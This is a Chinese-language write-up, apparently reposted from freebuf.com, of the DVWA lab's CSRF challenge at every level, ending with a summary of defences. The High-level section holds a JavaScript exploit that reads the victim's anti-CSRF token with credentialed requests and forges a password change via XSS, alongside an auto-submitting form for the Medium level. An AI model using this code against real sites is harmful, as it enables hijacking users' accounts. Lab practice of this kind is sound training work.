DVWA CSRF 跨站请求伪造全等级分析与实践：
CSRF攻击利用网站对于用户网页浏览器的信任，挟持用户当前已登陆的Web应用程序，去执行并非用户本意的操作。
CSRF攻击攻击原理及过程如下：
用户C打开浏览器，访问受信任网站A，输入用户名和密码请求登录网站A；
在用户信息通过验证后，网站A产生Cookie信息并返回给浏览器，此时用户登录网站A成功，可以正常发送请求到网站A；
用户未退出网站A之前，在同一浏览器中，打开一个TAB页访问网站B；
网站B接收到用户请求后，返回一些攻击性代码，并发出一个请求要求访问第三方站点A；
浏览器在接收到这些攻击性代码后，根据网站 B 的请求，在用户不知情的情况下携带 Cookie 信息，向网站 A 发出请求。网站 A 并不知道该请求其实是由 B 发起的，所以会根据用户 C 的 Cookie 信息以 C 的权限处理该请求，导致来自网站 B 的恶意代码被执行。
与XSS的区别：
XSS是通过修改页面Javascript等代码后，发给用户从而实现盗取cookie信息，之后利用cookie进行登陆网站等操作。非法操作是黑客。
CSRF并没有盗取cookie信息，而是通过用户直接利用cookie进行操作。非法操作并不是黑客，而是用户本身。
Low:
查看源码：
源码中暴露的问题：
通过GET方式获取密码，两次密码一致的话，然后直接代入数据中修改密码。属于最基础的GET型CSRF。
可以看到，源码中的mysql_real_escape_string() 函数有防护sql注入的作用，然后就只进行了$pass_new == $pass_conf判断，没有进行任何的验证。
在新密码和确认密码之处填写123456，然后抓包：
根据上面的url，进行构造payload：
这时password已经从123456变更为test
更进一步可以将上面的URL缩短，http://33h.co/2se89
在浏览器中输入以后效果也是将password从123456变更为test
在此提醒一句，以后但凡看见很短的url，然后以很不常见的格式出现，千万别着急点击浏览。
Medium:
查看源码：
函数解释：
源码中暴露的问题：
增加了Referer判断，若HTTP_REFERER和SERVER_NAME不是来自同一个域的话就无法进行到循环内部，执行修改密码的操作，可以伪造Referer来进行攻击
同样地，先抓包
然后点击Action选择如下：
新建一个txt文件，将bp中生成地html写入，
加入js脚本<script> document.forms[“csrf”].submit(); </script>
然后将文件后缀改为html
将上述html页面放置网站目录下，然后让用户访问自动触发提交
不知为何，并未成功
High:
查看源码：
源码中暴露的问题：
增加了token验证，这样CSRF攻击必须知道用户token才可以成功，这一关是思路是使用XSS来获取用户token，然后将token放到CSRF的请求中。这里涉及到跨域的 问题，而html无法跨域，所以尽量使用原生的js发起http请求。
构建csrf.js（同样的，可以先新建txt文件，最后改后缀）
// 首先访问这个页面 来获取 token
var tokenUrl = 'http://127.0.0.1/ vulnerabilities/csrf/';
if(window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
}else{
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
var count = 0;
xmlhttp.withCredentials = true;
xmlhttp.onreadystatechange=function(){
if(xmlhttp.readyState ==4 && xmlhttp.status==200)
{
// 使用正则提取 token
var text = xmlhttp.responseText;
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = text.match(regex);
var token = match[1];
// 发起 CSRF 请求 将 token 带入
var new_url = 'http://127.0.0.1/ csrf/?user_token='+token+'&password_new=123&password_conf=123&Change=Change';
if(count==0){
count++;
xmlhttp.open("GET",new_url,false);
xmlhttp.send();
}
}
};
xmlhttp.open("GET",tokenUrl,false);
xmlhttp.send();
将这个csrf.js上传到靶场目录
再通过DVWA DOM XSS的high级别发起XSS测试：
试了好一会，还是没能实现
如果成功地话，访问之后密码就被更改为123
Impossible:
查看源码：
增加了输入当前密码的选项，攻击者不知道原始密码下是无法发起CSRF攻击的
采用PDO技术防护了，根据现实情况，一般防护csrf的办法最常见的就是增加原始密码验证，短信验证、验证码验证，这样基本就很难进行csrf攻击了
防护总结：
1.增加验证码机制（CSRF攻击往往是在用户不知情的情况下构造了网络请求。而验证码则强制用户必须与应用进行交互，才能完成最终请求。）
2.验证Referer字段（访问一个安全受限页面请求必须来自同一个网站，但并非万无一失，Referer的值是由浏览器提供的，可以被伪造）
3.添加token并验证（token是访问时服务端生成一个随机值传回到前端表单里，当我们提交表单时，token会作为一个参数提交到服务器端并验证，如果存在XSS漏洞，token防御将无效）
来源：freebuf.com 2021-06-25 15:09:25 by: wakemeup
请登录后发表评论
注册